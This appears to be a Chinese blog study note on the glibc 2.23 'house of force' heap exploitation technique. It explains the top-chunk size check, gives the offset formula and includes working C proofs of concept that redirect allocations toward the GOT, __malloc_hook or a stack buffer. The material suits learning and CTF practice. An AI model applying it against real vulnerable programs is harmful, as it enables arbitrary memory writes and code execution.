house of force:控制top chunk的size来malloc任意值

Heap基础知识

[toc]

house of force

一句话描述该漏洞,在glibc 2.23下,通过控制top chunksize域为一个特别大的值,导致可以通过malloc特别大的值或者负数来将top chunk的指针指向任意位置。

你需要进行控制的:

  • top chunksize
  • 你需要可以malloc一个特别大的值
  • 你需要可以多次malloc

公式

1
2
3
4
5
request_size = new_top_chunk_addr - old_top_chunk_addr - 0x10;

// 其中request_size为malloc的大小
// new_top_chunk_addr是申请后top chunk会处于的位置
// old_top_chunk_addr是申请前top chunk会处于的位置

原理:

glibc 2.23中,对于top chunk的检查仅仅只有(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)

那么,若我们将top chunksize修改为一个特别大的值,甚至是-1(由于是无符号数在进行判断,那么-1是最大的数),那么便可以申请任意大小的chunk。源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

这里用wiki的例子,由于堆是低地址到高地址增长,那么可以申请负数地址来申请到更低的地址(例如malloc@got.plt):

1
2
3
4
5
6
7
8
9
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; // <=== 这里把top chunk的size域改为0xffffffffffffffff
malloc(-4120); // <=== 减小top chunk指针
malloc(0x10); // <=== 分配块实现任意地址写
}

也可以通过申请特别大的值来申请到高地址,例如__malloc_hook(在libc里面)

1
2
3
4
5
6
7
8
9
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; <=== 修改top chunk size
malloc(140737345551056); <=== 增大top chunk指针
malloc(0x10);
}

笔者通过一小段代码在glibc2.23中实现了house of force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
long fake_chunk[0x110]; // 最终要是申请到了这里,那就说明攻击成功
printf("the addr of fake_chunk is %p.\n", fake_chunk);

long *a = malloc(0x100); // 如此一来,chunk a的下一个chunk将会是top chunk
long *top_chunk = (long *)((long)a + 0x100); // top_chunk在a偏移0x100的地方
top_chunk[1] = -1; // 将top chunk的大小修改为无限大

long diff = (long)&fake_chunk[0] - (long)top_chunk; // 计算fake_chunk和top chunk此时相差的距离
malloc(diff - 0x10); // malloc这个距离大小-0x10的chunk就是申请一个大小等于这个距离的,使得top chunk减小这个距离

long *b = malloc(0x100); // 随便申请一个chunk
printf("the addr of new malloc chunk is %p.\n", b - 2); // 发现申请到的chunk的地址就是fake

return 0;
}

house of force:控制top chunk的size来malloc任意值
http://example.com/2023/09/23/system/Heap/house_of_force/
作者
Ltfall
发布于
2023年9月23日
许可协议